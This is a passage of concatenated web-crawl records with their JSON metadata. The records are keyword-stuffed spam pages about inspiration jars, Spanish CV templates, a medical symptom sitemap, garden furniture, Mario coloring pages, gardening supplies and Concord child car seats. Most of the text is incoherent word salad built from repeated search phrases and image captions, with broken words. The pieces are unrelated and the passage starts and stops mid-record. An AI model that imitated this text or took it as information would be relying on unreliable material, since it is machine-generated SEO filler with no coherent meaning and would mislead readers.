moderne inspiration jardin.\ninspiration jar populr ctvty ccordg serch ternets thgs m grteful inspiration jar printable vintage inspiration jars.\ninspiration jar inspiration jar printable inspiration jardin 50 coloriages anti stress.\ninspiration jar s jardin inspiration japonaise inspiration jar gift.\ninspiration jar s jr re inspiration jardim book inspiration jar gift.\ninspiration jar inspiration jardin coloriage vintage inspiration jars.\ninspiration jar passion jardin inspiration inspiration jardin de ville.\ninspiration jar pinterest inspiration jar inspiration jardim book.\ninspiration jar inspiration jardin de giverny inspiration jardin potager.\ninspiration jar passion jardin inspiration jardin inspiration japonaise.\ninspiration jar inspiration for jar of hearts inspiration jardin potager.\ninspiration jar inspiration jardin de giverny inspiration jardin.\ninspiration jar inspiration jardin pinterest inspiration jar.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/denimdaynyc.org\/inspiration-jar\/","date":"2018-12-14T08:41:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825495.60\/warc\/CC-MAIN-20181214070839-20181214092339-00372.warc.gz","language":"ina","language_score":0.7038754821,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7038754820823669, \"dag_Latn_score\": 0.056287966668605804, \"hif_Latn_score\": 0.05593046918511391, \"fra_Latn_score\": 0.04436548426747322, \"eng_Latn_score\": 0.01941576972603798, \"gvn_Latn_score\": 0.01684950292110443, \"knc_Latn_score\": 0.011289599351584911}","num_words":442,"character_repetition_ratio":0.421,"word_repetition_ratio":0.134,"special_characters_ratio":0.144,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.704,"perplexity_score":4857.2,"cluster_detection":-1} +{"text":"O hacer mi curriculum vitae gratis – awesome resumes for a bank como hacer un curriculum vitae europeo. New 11 illustration curriculum vitae como hacer un curriculum vitae europeo. Descargar curriculum vitae europeo programa para hacer curriculum como hacer un curriculum vitae europeo. Como hacer un curriculum vitae europeo curriculum vitae 2018 en word. Curriculum vitae ingeniero agronomo especialista en suelos como hacer un curriculum vitae europeo.\nO Hacer Mi Curriculum Vitae Gratis – Awesome Resumes for A Bank Como Hacer Un Curriculum Vitae Europeo fuente: aurorafilm.org\nNew 11 Illustration Curriculum Vitae Como Hacer Un Curriculum Vitae Europeo fuente: aomuaphongthuy.com\nDescargar Curriculum Vitae Europeo Programa Para Hacer Curriculum Como Hacer Un Curriculum Vitae Europeo fuente: genericrevia.club\nComo Hacer Un Curriculum Vitae Europeo Curriculum Vitae 2018 En Word fuente: getcv.review\nCurriculum Vitae Ingeniero Agronomo Especialista En Suelos Como Hacer Un Curriculum Vitae Europeo fuente: studylib.es\nPdf Labo Popoola Curriculum Vitae 2015 Como Hacer Un Curriculum Vitae Europeo fuente: researchgate.net\nComo Hacer Un Curriculum Vitae Europeo Gua Cartas De Presentaci³n Pdf fuente: docplayer.es\nPdf labo popoola curriculum vitae 2015 como hacer un curriculum vitae europeo. Como hacer un curriculum vitae europeo gua cartas de presentaci³n pdf. Como hacer un curriculum vitae europeo programa para hacer curriculum vitae con foto. Curriculum vitae cover letters como hacer un curriculum vitae europeo.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/curriculumvt.me\/como-hacer-un-curriculum-vitae-europeo\/","date":"2019-02-24T03:26:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249578748.86\/warc\/CC-MAIN-20190224023850-20190224045850-00618.warc.gz","language":"ina","language_score":0.3285848796,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3285848796367645, \"spa_Latn_score\": 0.26544031500816345, \"lat_Latn_score\": 0.139738529920578, \"glg_Latn_score\": 0.07158517092466354, \"sco_Latn_score\": 0.05399435758590698, \"ast_Latn_score\": 0.02257099747657776, \"arg_Latn_score\": 0.016783829778432846, \"srd_Latn_score\": 0.010697063989937305, \"eus_Latn_score\": 0.0105671975761652}","num_words":377,"character_repetition_ratio":0.252,"word_repetition_ratio":0.495,"special_characters_ratio":0.173,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":0.438,"perplexity_score":7088.5,"cluster_detection":-1} +{"text":"|T1d in Radiation proctopathy|\n|T1dm in Radiation proctopathy|\n|Tabes dorsalis in Radiation proctopathy|\n|Tablet in stool in Radiation proctopathy|\n|Tachyarrhythmia in Radiation proctopathy|\n|Tachycardia in Radiation proctopathy|\n|Tachycardia aggravated in Radiation proctopathy|\n|Tachycardia foetal in Radiation proctopathy|\n|Tachycardia irregular in Radiation proctopathy|\n|Tachycardia paroxysmal in Radiation proctopathy|\n|Tachycardia - ventricular in Radiation proctopathy|\n|Tachyphrenia in Radiation proctopathy|\n|Tachyphylaxis in Radiation proctopathy|\n|Tachypnea in Radiation proctopathy|\n|Tachypnoea in Radiation proctopathy|\n|Taciturnity in Radiation proctopathy|\n|Taenia saginata in Radiation proctopathy|\n|Taeniasis in Radiation proctopathy|\n|Taenia solium in Radiation proctopathy|\n|Tagamet in Radiation proctopathy|\n|Tailbone trauma in Radiation proctopathy|\n|Takayasu arteritis in Radiation proctopathy|\n|Takayasu's arteritis in Radiation proctopathy|\n|Takotsubo cardiomyopathy in Radiation proctopathy|\n|Talipes in Radiation proctopathy|\n|Talipes equinovarus in Radiation proctopathy|\n|Tandem gait test abnormal in Radiation proctopathy|\n|Tangentiality in Radiation proctopathy|\n|Tapeworm - infection in Radiation proctopathy|\n|Tardive dyskinesia in Radiation proctopathy|\n|Tarsal tunnel decompression in Radiation proctopathy|\n|Tarsal tunnel syndrome in Radiation proctopathy|\n|Tartar and plaque on teeth in Radiation proctopathy|\n|Taste disturbance in Radiation proctopathy|\n|Taste - impaired in Radiation proctopathy|\n|Taste loss in Radiation proctopathy|\n|Tb in Radiation proctopathy|\n|Tb meningitis in Radiation proctopathy|\n|Tb skin test in Radiation proctopathy|\n|T-cell chronic lymphocytic leukaemia in Radiation proctopathy|\n|T-cell depletion in Radiation proctopathy|\n|T-cell lymphoma in Radiation proctopathy|\n|T-cell lymphoma recurrent in Radiation proctopathy|\n|T-cell lymphoma refractory in Radiation proctopathy|\n|T-cell lymphoma stage ii in Radiation proctopathy|\n|T-cell lymphoma stage iii in Radiation proctopathy|\n|T-cell lymphoma stage iv in Radiation proctopathy|\n|T-cell prolymphocytic leukaemia in Radiation proctopathy|\n|T-cell type acute leukaemia in Radiation proctopathy|\n|T-cell unclassifiable lymphoma high grade in Radiation proctopathy|\n© 2019 eHealthMe.com. All rights reserved. Use of this site constitutes acceptance of eHealthMe.com's terms of service and privacy policy.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.ehealthme.com\/sitemap\/symptom-list\/radiation-proctopathy\/t\/1\/","date":"2019-04-21T16:25:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578531994.14\/warc\/CC-MAIN-20190421160020-20190421182020-00138.warc.gz","language":"ina","language_score":0.4624664485,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.46246644854545593, \"eng_Latn_score\": 0.2574092149734497, \"slv_Latn_score\": 0.02447526901960373, \"nld_Latn_score\": 0.02139917202293873, \"kos_Latn_score\": 0.014790285378694534, \"ile_Latn_score\": 0.01340896263718605, \"lat_Latn_score\": 0.010157476179301739}","num_words":685,"character_repetition_ratio":0.478,"word_repetition_ratio":0.098,"special_characters_ratio":0.17,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.609,"perplexity_score":8791.7,"cluster_detection":-1} +{"text":"Le Bon Coin Salon De Jardin , Salon de jardin hesperide le bon coin reconquetefrancaise fr, Le bon coin salon de jardin d occasion maison design, Salon de jardin occasion le bon coin, Le bon coin salon de jardin d occasion maison design, Salon de jardin occasion le bon coin, Le bon coin allier salon de jardin abri de jardin et, Salon de jardin dans le.","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.meta-fora.com\/le-bon-coin-salon-de-jardin.html","date":"2019-05-27T03:17:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232260658.98\/warc\/CC-MAIN-20190527025527-20190527051527-00111.warc.gz","language":"ina","language_score":0.4677518904,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4677518904209137, \"gul_Latn_score\": 0.30621662735939026, \"fra_Latn_score\": 0.07226908206939697, \"vec_Latn_score\": 0.022971292957663536, \"wes_Latn_score\": 0.018566444516181946, \"mfe_Latn_score\": 0.015773287042975426, \"dis_Latn_score\": 0.01322697289288044, \"cmr_Latn_score\": 0.011722506023943424}","num_words":86,"character_repetition_ratio":0.22,"word_repetition_ratio":0.39,"special_characters_ratio":0.206,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":0.47,"perplexity_score":4398.2,"cluster_detection":-1} +{"text":"coloriages de mario bros super brothers super bros new super bros 2.\ncoloriages de mario bros.\ncoloriages de mario bros super brothers super bros 3.\ncoloriages de mario bros bros coloring page super bros vio games printable coloring pages super bros.\ncoloriages de mario bros kart a super bros.\ncoloriages de mario bros super brothers super super coloring pages super bros 2 new super.\ncoloriages de mario bros super brothers super bros bros 4 4 kart super bros super.\ncoloriages de mario bros super a 1 super bros super.\ncoloriages de mario bros super bros a.\ncoloriages de mario bros super bros a la en 7 super bros 3.\ncoloriages de mario bros bros super bros s new u donkey s kart super ssin.\ncoloriages de mario bros chat super bros s super bros.\ncoloriages de mario bros interesting nos super bros with jr.\ncoloriages de mario bros bros super on kart.\ncoloriages de mario bros toad a s bros super.\ncoloriages de mario bros bros.\ncoloriages de mario bros bros a.\ncoloriages de mario bros a intern dream team bros.\ncoloriages de mario bros bros chubby crayons.\ncoloriages de mario bros peach kart bros bros peach kart en bros.\ncoloriages de mario bros bros a a.\ncoloriages de mario bros super super kart paper coloring pages unique best super super bros u super super brothers.\ncoloriages de mario bros kart 8 a bros a.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/jetispace.info\/coloriages-de-mario-bros\/","date":"2019-06-19T03:10:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998882.88\/warc\/CC-MAIN-20190619023613-20190619045613-00049.warc.gz","language":"ina","language_score":0.6845689416,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6845689415931702, \"bam_Latn_score\": 0.1189214289188385, \"dag_Latn_score\": 0.10685107111930847}","num_words":409,"character_repetition_ratio":0.376,"word_repetition_ratio":0.207,"special_characters_ratio":0.201,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.685,"perplexity_score":6013.4,"cluster_detection":-1} +{"text":"informacion que debe contener un curriculum vitae curriculum vitae modelo social, informacion que debe contener un curriculum vitae 5 errores que debes evitar en la foto de tu curriculum vitae, currculum informacion que debe contener un curriculum vitae, informacion que debe contener un curriculum vitae o se a oda un curriculum vitae todo empleo, el currculum vitae espai de recerca activa de feina informacion que debe contener un curriculum vitae,\nInformacion Que Debe Contener Un Curriculum Vitae Curriculum Vitae Modelo social fuente: shopcv.com\nInformacion Que Debe Contener Un Curriculum Vitae 5 Errores Que Debes Evitar En La Foto De Tu Curriculum Vitae fuente: blogs.ucontinental.edu.pe\nCurrculum Informacion Que Debe Contener Un Curriculum Vitae fuente: treball.barcelonactiva.cat\nInformacion Que Debe Contener Un Curriculum Vitae O Se A Oda Un Curriculum Vitae todo Empleo fuente: t-empleo.com\nEl Currculum Vitae Espai De Recerca Activa De Feina Informacion Que Debe Contener Un Curriculum Vitae fuente: erafbadia.blogspot.com\nInformacion Que Debe Contener Un Curriculum Vitae Currculum solicitudes Y Cartas De Presentaci³n Occupational fuente: bls.gov\nModelos De Currculum Que Deberas Conocer Informacion Que Debe Contener Un Curriculum Vitae fuente: buscarempleo.republica.com\ninformacion que debe contener un curriculum vitae currculum solicitudes y cartas de presentaci³n occupational, modelos de currculum que deberas conocer informacion que debe contener un curriculum vitae, informacion que debe contener un curriculum vitae 45 best cv resume templates images on pinterest, curriculum vitae c³mo hacer un buen curriculum 2018 plantillas cv informacion que debe contener un curriculum vitae,","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/teleycinema.com\/informacion-que-debe-contener-un-curriculum-vitae\/","date":"2019-07-19T12:41:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00093.warc.gz","language":"ina","language_score":0.3051909804,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3051909804344177, \"oci_Latn_score\": 0.25359392166137695, \"cbk_Latn_score\": 0.12498578429222107, \"spa_Latn_score\": 0.11393529176712036, \"lat_Latn_score\": 0.03176724165678024, \"ast_Latn_score\": 0.028413688763976097, \"arg_Latn_score\": 0.02017616108059883, \"glg_Latn_score\": 0.014616628177464008, \"eus_Latn_score\": 0.012715652585029602}","num_words":430,"character_repetition_ratio":0.204,"word_repetition_ratio":0.52,"special_characters_ratio":0.163,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.479,"perplexity_score":5695.6,"cluster_detection":-1} +{"text":"Artculos De Jardinerasponsored links\narticulos para jardineria y cultivo interior y exterior foto with artculos de jardinera.\ngood conjunto de diversos elementos de jardinera las de jardn ilustracin de artculos para la jardinera ilustracin vectorial with artculos de jardinera.\nexcellent herrera shekina with artculos de jardinera.\nfinest articulos jardineria with artculos de jardinera.\nbeautiful silbu artculos de jardinera desde baha blanca hacia toda la argentina with artculos de jardinera.\ninteresting semillas paquete artculos de jardinera de venta especial semillas de flor de equincea equincea with artculos de jardinera.\nelegant imagen bomba de presion viton l ref stocker with artculos de jardinera.\ncool productos para jardineria tienda online foto with artculos de jardinera.\nfree paisajistas jardineros artculos decoracin with artculos de jardinera.\ngallery of artculos de jardinera with artculos de jardinera.\nsimple catlogos de jardinera with artculos de jardinera.\ncoleccin de un ilustracin de artculos de de jardinera with artculos de jardinera.\nfinest centro de jardinera en alcudia with artculos de jardinera.\nartculos de jardinera with artculos de jardinera.\namazing compo with artculos de jardinera.\ncool artculos de jardinera jardn macetas jardineras bamb bandejas maceta de cermica de estilo japons piso with artculos de jardinera.\nfabulous juego de de jardn y jardinera los artculos y equipos conjunto de iconos plana with artculos de jardinera.\ncool estampados y bordados artculos de jardinera y radio autos imagen with artculos de jardinera.\namazing ferreteria y jardineria la gramilla with artculos de jardinera.\nelegant viverland nature jardineria articulos y servicios centros garden center with artculos de jardinera.\nlatest jardineria with artculos de jardinera.\nfree tierra negra especial gardens para macetas macetones y jardineras kg with artculos de jardinera.\nbest juguete perro hueso colores su with artculos de jardinera.\ngallery of cortasetos grh with artculos de jardinera.\nstunning agrcolas mata moscas elctrico articulos jardineria with artculos de jardinera.\naffordable precio de fbrica de artculos de jardinera planta permanente de hierro de metal estante del pote with artculos de jardinera.\namazing de bambu artculos with artculos de jardinera.\nstunning articulos casi nuevos with artculos de jardinera.\ngreat image description with artculos de jardinera.\nfree carrefour with artculos de jardinera.\nsimple protectores auditivos peltor m optime iii negro rojo nuevo precintado with artculos de jardinera.\nawesome artculos de jardinera with artculos de jardinera.\nfabulous artculos de jardinera human wikihow with artculos de jardinera.\nsimple concepto mobiliario urbano with artculos de jardinera.\nawesome jardineros artculos decoracin paisajistas with artculos de jardinera.\nacero carro viejo rodado usado para transportar plantas y artculos de jardinera en un invernadero y with artculos de jardinera.\nfree en rodilla disponen de una gran variedad de artculos especiales para jardinera with artculos de jardinera.\nsaba que la jardinera es un arte que requiere del cuidado tierno y de la pasin profunda para que las plantas crezcan hay toda una psicologa detrs de with artculos de jardinera.\nsimple los jardines japoneses ms bonitos y en japn with artculos de jardinera.\nfinest ferretera la llave cadena artculos de jardinera with artculos de jardinera.\ngallery of vector conjunto de varios artculos de jardinera y de jardn de diseo plano archivo with artculos de jardinera.\ncool artculos de jardinera with artculos de jardinera.\nferretera ferco artculos para jardinera with artculos de jardinera.\ntop arnes treemotion version standar with artculos de jardinera.\nde rbolespoda de rboles barrio xaltocan vivanuncios with artculos de jardinera.\namazing fondo con de jardn y artculos ilustracin de jardinera de temporada fondo con with artculos de jardinera.\nsimple semillas hierbabuena with artculos de jardinera.\ntop para jardinera tornillera y bulonera escaleras de madera de aluminio media sombra y polietileno limpieza industrial y un sin fin de artculos de with artculos de jardinera.\nflor de fieltro with artculos de jardinera.\nfabulous ferreteria with artculos de jardinera.\ngood alibaba directory suppliers exporters importers with artculos de jardinera.\ntop artculos tcnicos sobre jardinera y medio ambiente urbano with artculos de jardinera.\nsimple cmo pintar una cajita para tus artculos de jardinera with artculos de jardinera.\naffordable los mejores cuidados para tu jardn with artculos de jardinera.\nartculos para nios with artculos de jardinera.\nbest jardines urbanos with artculos de jardinera.\ncool artculos para jardn with artculos de jardinera.\nfinest fondo con de jardn y artculos ilustracin de jardinera de temporada arte vectorial with artculos de jardinera.\nsimple silbu artculos de jardinera desde baha blanca hacia toda la argentina with artculos de jardinera.\nlatest dnde vender mis artculos de jardinera with artculos de jardinera.\nrschmann landhandel with artculos de jardinera.\nawesome y jardineria with artculos de jardinera.\nstunning fondo con de jardn y artculos ilustracin de jardinera de temporada arte vectorial with artculos de jardinera.\nbulbos de lirios color tura artculos de jardinera orangebao plantting flor semillas de bonsai with artculos de jardinera.\npalmako with artculos de jardinera.\naffordable artculos sobre jardinera with artculos de jardinera.\nelegant el jardn diseado en por gertrude jekyll en upton grey hampshire tony braime with artculos de jardinera.\nuna with artculos de jardinera.\nnmero de telfono calle web correo horario y ms informacin de espieira centro de jardinera en boiro venta de artculos de jardinera plantas with artculos de jardinera.\nstunning artculos de jardinera with artculos de jardinera.\nbeautiful artculos de jardinera with artculos de jardinera.\ngood artculos de jardinera artculos de jardinera red de cementerios red de with artculos de jardinera.\ngreat artculos de jardinera with artculos de jardinera.\nartculos de jardinera artculos de jardinera monteros el blog de la montera tradicional y las with artculos de jardinera.\nstunning jardineria with artculos de jardinera.\nsimple fondo con de jardn y artculos ilustracin de jardinera de temporada ilustracin de fondo with artculos de jardinera.\nbalcones y terrazas verdes with artculos de jardinera.\ncheap with artculos de jardinera.\nperfect espaa ferreteria diosan sl cceres with artculos de jardinera.\nartculos jardinera csp with artculos de jardinera.\nproflor planta flores roja with artculos de jardinera.\ncheap artculos de piletas de limpieza de jardinera updated their cover photo with artculos de jardinera.\nfabulous sistema del vector de diversos artculos y utensilios de jardinera que cultivan un huerto en diseo with artculos de jardinera.\nfree set de artculos de jardinera with artculos de jardinera.\naffordable inorgnico granulado nutrigarden triple kg with artculos de jardinera.\nbest product image with artculos de jardinera.\ncool conjunto de diversos elementos de jardinera las de jardn ilustracin de artculos para la jardinera ilustracin vectorial with artculos de jardinera.\nfabulous el cultivo moderno del fresal with artculos de jardinera.\nfree coleccin de jardinera tijeras de podar coleccin de jardinera tijeras de podar arte vectorial de with artculos de jardinera.\nstunning ferretera y articulos de jardineria al mayor y detal with artculos de jardinera.\nartculos with artculos de jardinera.\nfinest canas de bambu with artculos de jardinera.\naffordable product image with artculos de jardinera.\nfabulous jardinera abeto sl with artculos de jardinera.\nperfect product image with artculos de jardinera.\nfinest ideas nicas para jardinera en macetas excelentes consejos y trucos y artculos poco probables consejos excelentes ideas jardineria macetas trucos with artculos de jardinera.\nla jardinera ecolgica with artculos de jardinera.\nexcellent artculos tcnicos sobre jardinera y medio ambiente urbano with artculos de jardinera.\ntop artculos de jardinera human wikihow with artculos de jardinera.\ndiseo del jardn with artculos de jardinera.\ncheap set de artculos para jardinera grsmar ikea suecia en mercado libre with artculos de jardinera.\nwith artculos de jardinera.\naffordable lmpara solar hammy oh my home pack de with artculos de jardinera.\nexcellent artculos de riego y jardinera regadera litros with artculos de jardinera.\ninteresting maquinaria agrcola forestal y artculos de jardinera with artculos de jardinera.\nbeautiful estampados y bordados artculos de jardinera y radio autos imagen with artculos de jardinera.\nbeautiful lote de articulos de jardineria with artculos de jardinera.\nfree un cliente vende artculos de jardinera online le sugieres que utilice enlaces de sitio with artculos de jardinera.\ncool cofac ha lanzado un nuevo folleto a su oferta de jardinera donde se puede encontrar una amplia gama de artculos de jardinera with artculos de jardinera.\nak ticaret with artculos de jardinera.\nartculos de jardinera artculos de jardinera yo tabletaasc on pinterest yo tabletaasc on pinterest with artculos de jardinera.\naffordable jardineria azalea en xochimilco with artculos de jardinera.\nlatest jardinera with artculos de jardinera.\npaisajistas artculos decoracin jardineros with artculos de jardinera.\nfree interms malla antihierbas with artculos de jardinera.\nventanas terrazas y patios cmo with artculos de jardinera.\ntienda online de artculos de jardinera with artculos de jardinera.\nbest colorido mini macetas de plstico de la siembra de jardinera macetas de plstico maceta planta para with artculos de jardinera.\namazing foto insecticida piretoide mapex liquido ml de with artculos de jardinera.\nchilesalecl tu tienda online de artculos agrcolas jardinera en tienda online en agrcola y jardinera with artculos de jardinera.\ntierra negra especial gardens para macetas macetones y jardineras kg with artculos de jardinera.\nfabulous artculos de jardinera jardn macetas jardineras bamb bandejas maceta de cermica de estilo japons piso home office de escritorio macetas decorativas with artculos de jardinera.\nsimple decorativo de hierro fundido de de jardinera jardn patio cosas artculos gadgets patio with artculos de jardinera.\ncentro de jardineria y mascotas with artculos de jardinera.\ndemo with artculos de jardinera.\nlote de articulos de jardineria with artculos de jardinera.\nexcellent fondo con los utensilios de jardinera y los artculos ejemplo que cultiva un huerto de la with artculos de jardinera.\nfinest garden artculos para jardinera y hogar with artculos de jardinera.\nsimple patrn sin fisuras con de jardn y artculos ilustracin de jardinera de temporada ilustracin with artculos de jardinera.\namazing carrefour with artculos de jardinera.\ncool conjunto de varios artculos de jardinera with artculos de jardinera.\ngood todo lo que necesitas para tu jardn plantas y semillas mobiliario artculos para el cuidado de las plantas tambin realizamos obras de jardinera y with artculos de jardinera.\ngreat accesorios jardinera with artculos de jardinera.\ncheap foto repelente citromax natural para antorcha cc de with artculos de jardinera.\nventanas terrazas y patios cmo with artculos de jardinera.\nferretera la llave cadena artculos de jardinera with artculos de jardinera.\ntambin with artculos de jardinera.\nbest sistema del vector de diversos artculos y utensilios de jardinera que cultivan un huerto en diseo with artculos de jardinera.\ninteresting conjunto de varios artculos de jardinera with artculos de jardinera.\nfabulous el almacen de olivia posadas misiones with artculos de jardinera.\nfinest kett herramienta p neumtica tijeras tijeras de jardinera con artculos de papelera cuchilla inferior with artculos de jardinera.\nawesome venta de artculos para jardinera en alhama y librilla alhama shop venta de piensos en alhama y librilla with artculos de jardinera.\ncool jardineria azalea en xochimilco with artculos de jardinera.\nconsejos para tus plantas de jardn with artculos de jardinera.\nfabulous erlaitz jardinera jardinera artculos y servicios centros garden center with artculos de jardinera.\nelegant com maquillaje ferreteria with artculos de jardinera.\nimportar desde china con garanta y calidad with artculos de jardinera.\nelegant maceta advert maceta advert with artculos de jardinera.\ngood foto repelente citromax natural para antorcha cc de with artculos de jardinera.\nelegant caja con artculos de jardinera cargando zoom with artculos de jardinera.\nstunning barrehojas graduables mango amarillo el abuelo with artculos de jardinera.\npin by gisela duffy on plantas artculos de jardinera y decoracin pinterest with artculos de jardinera.\nelegant pequea herramienta with artculos de jardinera.\nelegant productos de jardinera al por mayor unids lote cm flor artificial planta with artculos de jardinera.\nexcellent sun lamps boquilla giratoria artculos de jardinera sacudiendo los hombros rociadores with artculos de jardinera.\nfree fondo con de jardn y artculos ilustracin de jardinera de temporada ilustracin de fondo with artculos de jardinera.\ngood artculos de jardinera with artculos de jardinera.\nsimple los artculos para la jardinera with artculos de jardinera.\nawesome su funcin es barrer materiales de poca como frutos cados hojas secas hierba cortada etc la escoba surtek est hecha de with artculos de jardinera.\nfabulous maceta advert maceta advert with artculos de jardinera.\ncool ferretera gnesis promociona sus artculos de plomera y jardinera with artculos de jardinera.\nawesome conjunto de varios artculos de jardinera de vector archivo imgenes vectoriales with artculos de jardinera.\nsilbu artculos de jardinera desde baha blanca hacia toda la argentina with artculos de jardinera.\nsimple tipo dientes decoracin de artculos de jardinera balcn macetas macetas de flores regalos para dentistas with artculos de jardinera.\nfabulous agrcolas mata moscas elctrico articulos jardineria with artculos de jardinera.\nbridas y abrazaderas with artculos de jardinera.\njardinera y parques with artculos de jardinera.\nfabulous de gran tamao de pared macetas decoracin de artculos de jardinera ironbalcony macetas macetas colgante de with artculos de jardinera.\ncentro de jardinera en alcudia with artculos de jardinera.\ncool historia reciente de la jardinera municipal with artculos de jardinera.\namazing foto de archivo ilustracin que ofrece artculos de jardinera with artculos de jardinera.\nsistema del vector de diversos artculos y utensilios de jardinera que cultivan un huerto en diseo with artculos de jardinera.\ntop carrefour with artculos de jardinera.\ngallery of product image with artculos de jardinera.\nsimple set de jardinera promocional with artculos de jardinera.\ncs de jardn bolsa with artculos de jardinera.\ninteresting bea y artculos de jardinera with artculos de jardinera.\nawesome la tienda de campaa de segunda mano venta de artculos de jardinera etc en la aldea de uk with artculos de jardinera.\nventas al por mayor envo gratuito artculos para el hogar suministros de jardinera buzn de hierro with artculos de jardinera.\nconjunto de varios artculos de jardinera de jardn ilustracin de diseo plano de artculos para jardinera with artculos de jardinera.\nawesome lata flores flowcan with artculos de jardinera.\nperfect com compraventa de artculos de jardineria de segunda mano with artculos de jardinera.\nlos bordes de arriates y cajas para flores de imprest ayudan a cada diseador de jardn crear rpido y comodamente uno decorativo y hermoso with artculos de jardinera.\naffordable fondo con de jardn y artculos ilustracin de jardinera de temporada arte vectorial with artculos de jardinera.\ngallery of agrcolas mata moscas elctrico articulos jardineria with artculos de jardinera.\nsimple artculos de jardinera with artculos de jardinera.\ncampaa unifersa con ms de artculos with artculos de jardinera.\nbest silbu artculos de jardinera with artculos de jardinera.\ntop la cooperativa te ofrece toda clase de artculos y utensilios para jardn y piscina adems de plantas y tambin ponemos a tu disposicin la with artculos de jardinera.\nsimple compost organico vitalfem l with artculos de jardinera.\ncheap proflor plantas jardineria articulos y servicios centros garden center with artculos de jardinera.\ngarden center y artculos de decoracin with artculos de jardinera.\nde jardinera with artculos de jardinera.\nfree artculos de jardinera en monterrey ccgrass with artculos de jardinera.\nlatest artculos que ofrecemos with artculos de jardinera.\nartculos de cocina herramienta electrnica juguetes jardinera with artculos de jardinera.\njardineria hay productos with artculos de jardinera.","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/goleshdoor.com\/artculos-de-jardinera.html","date":"2019-10-19T12:17:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986693979.65\/warc\/CC-MAIN-20191019114429-20191019141929-00452.warc.gz","language":"ina","language_score":0.3965222538,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.39652225375175476, \"spa_Latn_score\": 0.30098849534988403, \"cbk_Latn_score\": 0.05395975336432457, \"ayr_Latn_score\": 0.035225965082645416, \"eus_Latn_score\": 0.03314127027988434, \"hus_Latn_score\": 0.02123543806374073, \"gug_Latn_score\": 0.015050961636006832, \"por_Latn_score\": 0.012234297581017017}","num_words":4482,"character_repetition_ratio":0.375,"word_repetition_ratio":0.212,"special_characters_ratio":0.16,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":8829.9,"cluster_detection":-1} +{"text":"silla auto concord reverso plus i size hasta 105 cm con silla de auto concord reverso i size 2016 silla de auto concord reverso plus i size azul grupo 0 silla de coche concord reverso plus sweet curry silla de coche concord reverso plus silla de coche concord reverso plus midnight black silla de coche concord reverso plus rose pink concord reverso plus 2017 isofix silla de coche i size a silla de coche concord reverso plus sweet curry tienda de bebes concord reverso plus scuba green isize\nSilla de auto contramarcha Reverso Plus Concord gris from silla concord reverso plus , source:www.bebeconcept.es\nNoari Kids Concord Reverso Plus GRAPHITE GREY gris from silla concord reverso plus , source:shop.noarikids.com\nSilla de coche Reverso Plus iSize Concord Opiniones from silla concord reverso plus , source:www.consubebe.es\nSilla de Auto Concord REVERSO I size 2016 from silla concord reverso plus , source:www.bebealia.com\nTienda de Bebes Concord Reverso Plus Scuba Green iSize from silla concord reverso plus , source:tiendadebebes.net\nsilla de coche reverso plus isize concord opiniones silla de auto concord reverso plus silla de coche concord reverso plus cool beige silla de coche concord reverso plus jungle green silla de coche concord reverso plus graphite grey silla de auto concord reverso plus i size marrón grupo 0 silla de coche concord reverso plus midnight black silla de coche reverso plus deep water blue de concord silla de auto concord reverso plus silla de auto concord reverso i size 2016\nsilla de auto concord reverso plus i size beige grupo 0 silla de auto contramarcha reverso plus concord gris silla de coche concord reverso plus sweet curry exclusividad silla auto i size reverso plus concord silla de coche concord reverso plus cool beige silla de coche concord reverso plus sweet curry silla de auto reverso plus concord grupo 0 i concord noari kids concord reverso plus graphite grey gris silla de coche concord reverso plus graphite grey silla de auto concord reverso plus","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.customhomebuilding.xyz\/silla-concord-reverso-plus\/","date":"2019-10-13T21:09:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986647517.11\/warc\/CC-MAIN-20191013195541-20191013222541-00252.warc.gz","language":"ina","language_score":0.3125211,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3125211000442505, \"fra_Latn_score\": 0.10390706360340118, \"glg_Latn_score\": 0.08269038796424866, \"eng_Latn_score\": 0.041845135390758514, \"arg_Latn_score\": 0.02758941240608692, \"spa_Latn_score\": 0.02397504635155201, \"wol_Latn_score\": 0.021597687155008316, \"nap_Latn_score\": 0.019911812618374825, \"lvs_Latn_score\": 0.016876336187124252, \"vec_Latn_score\": 0.016297537833452225, \"fin_Latn_score\": 